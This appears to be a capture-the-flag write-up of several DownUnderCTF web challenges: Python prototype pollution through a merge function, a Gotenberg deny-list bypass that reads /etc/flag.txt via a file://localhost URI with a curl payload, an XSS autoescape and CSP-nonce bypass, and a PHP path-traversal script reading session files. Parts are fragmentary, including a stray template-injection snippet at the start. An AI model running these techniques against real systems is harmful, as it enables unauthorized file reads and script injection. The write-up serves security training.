if request.method == 'POST': user_input = request.form.get('user_input') try: result = render_template_string(user_input) except Exception as e: result = str(e)
A group of students who don’t like to do things the “conventional” way decided to come up with a CyberSecurity Blog post. You’ve been hired to perform an in-depth whitebox test on their web application.
Analysis
Our goal is to have “flag” defined as the string “true” but it is already previously defined.
1 2 3 4 5 6 7 8 9 10 11
flag = os.getenv("flag")
...
@app.route("/get_flag") @login_required def get_flag(): if flag == "true": return "DUCTF{NOT_THE_REAL_FLAG}" else: return "Nope"
This may seem impossible but the challenge is a Python prototype pollution challenge which was researched in article. The challenge implements the same vulnerable merge function which can pollute properties in the chain.
1 2 3 4 5 6 7 8 9 10 11
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Solution
We will pollute the flag variable to overwrite it to “true” through the /send_feedback endpoint. The solution was made my teammate vicevirus.
Deez nutz Hah got em … Oh by the way I love using my new microservice parsing these arrest reports to PDF
Analysis
The dockerfile provided implements gotenberg version 8.0.3. As the latest version is 8.8.0, we can be certain that the old version contains a vulnerability.
Browsing to github to view the change logs for the version after 8.0.3, 8.1.0 shows that there is an unathorized file read.
The changes are as follows:
1 2
- CHROMIUM_DENY_LIST="^file:///[^tmp].*" (version 8.0.3, the version used by the challenge) + CHROMIUM_DENY_LIST=^file:(?!//\/tmp/).* (version 8.1.0)
In the 8.0.3 version, the regex checks for “file:///“ as the starting point to try and disallow file reads such as “file:///etc/passwd”.
Solution
We can bypass this check by supplying a local file URI such as “file://localhost/etc/passwd” as it does not start with “file:///“. This is due to the fact that a valid file URI can be defined as:
1 2 3
file:/path (no hostname) file:///path (empty hostname), file://hostname/path
Payload
1 2 3
curl --request POST https://web-hah-got-em-20ac16c4b909.2024.ductf.dev/forms/chromium/convert/url --form url=file://localhost/etc/flag.txt -o flag.pdf
DUCTF{dEeZ_r3GeX_cHeCK5_h4h_g0t_eM}
[Web] co2v2
Description (co2v2)
Well the last time they made a big mistake with the flag endpoint, now we don’t even have it anymore. It’s time for a second pentest for some new functionality they have been working on.
Analysis
The challenge has the same merge function from the previous challenge but now the goal of the challenge is to achieve XSS. By looking at the source files, we can see that there are two protections in place which are:
class jEnv(): """Contains the default config for the Jinja environment. As we move towards adding more functionality this will serve as the object that will ensure the right environment is being loaded. The env can be updated when we slowly add in admin functionality to the application. """ def __init__(self): self.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)
The admin will visit the home page of the site which contains our blog posts, in order for our XSS payload to be executed, we would need to bypass these restrictions.
Solution
There is a convenient route under /admin/update-accepted-templates that enables us to change the original autoescape value to false by prototype pollution. After escaping is bypassed, we will now have to bypass the CSP by changing the SECRET_NONCE and RANDOM_COUNT variables in order to generate a nonce that we control.
1 2 3 4 5 6 7 8 9 10 11 12 13
TEMPLATES_ESCAPE_ALL = True
... @app.route("/admin/update-accepted-templates", methods=["POST"]) @login_required def update_template(): data = json.loads(request.data)
if "policy" in data and data["policy"] == "strict": print("Policy reached", flush=True) template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)
return jsonify({"success": "true"}), 200
We will change the SECRET_NONCE to an empty string “” and RANDOM_COUNT to 0. The home page has a path of “/“ which will be passed to the data variable in generate_nonce. The nonce will now become “” + “/“ + “” which is just “/“. The resulting nonce is “8a5edab282632443219e051e4ade2d1d5bbc671c781051bf1437897cbdfea0f1”.
Visit our sanctuary to hear the sounds of the Kookaburras!
Analysis
The goal is to achieve LFI to read the PHP session file which contains the flag. However, as the MIME type of our PHP session is text/plain, we are unable to read it directly.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$_SESSION['flag'] = FLAG; /* Flag is in the session here! */
...
$file = 'audio/' . $_GET['f'];
if (!file_exists($file)) { http_response_code(404); die; }
$mime = mime_content_type($file);
if (!$mime || !str_starts_with($mime, 'audio')) { http_response_code(403); die; }
header("Content-Type: $mime"); readfile($file);
Solution
There is an audio MIME type defined with an offset of 1080. Utilising the injection point in /index.php?theme=, we can inject arbitary characters into our session file. Then, we will slowly add characters until (M.K.) has the offset of 1080.
URL = "https://web-sniffy-d9920bbcf9df.2024.ductf.dev/" s = requests.Session()
s.get(URL) cookies = s.cookies['PHPSESSID']
original = f'flag|s:7:"DUCTF{1111}";theme|s:5:"light";'
for i in range(100): code = "A" * (1000 - len(original)) + "B" * i + 'M.K.' r = s.get(f'{URL}/index.php?theme={code}') r2 = requests.get(f'{URL}/audio.php?f=../../../../../tmp/sess_{cookies}') if r2.status_code == 403: print(f'Trying {i}') continue else: print(r2.text) break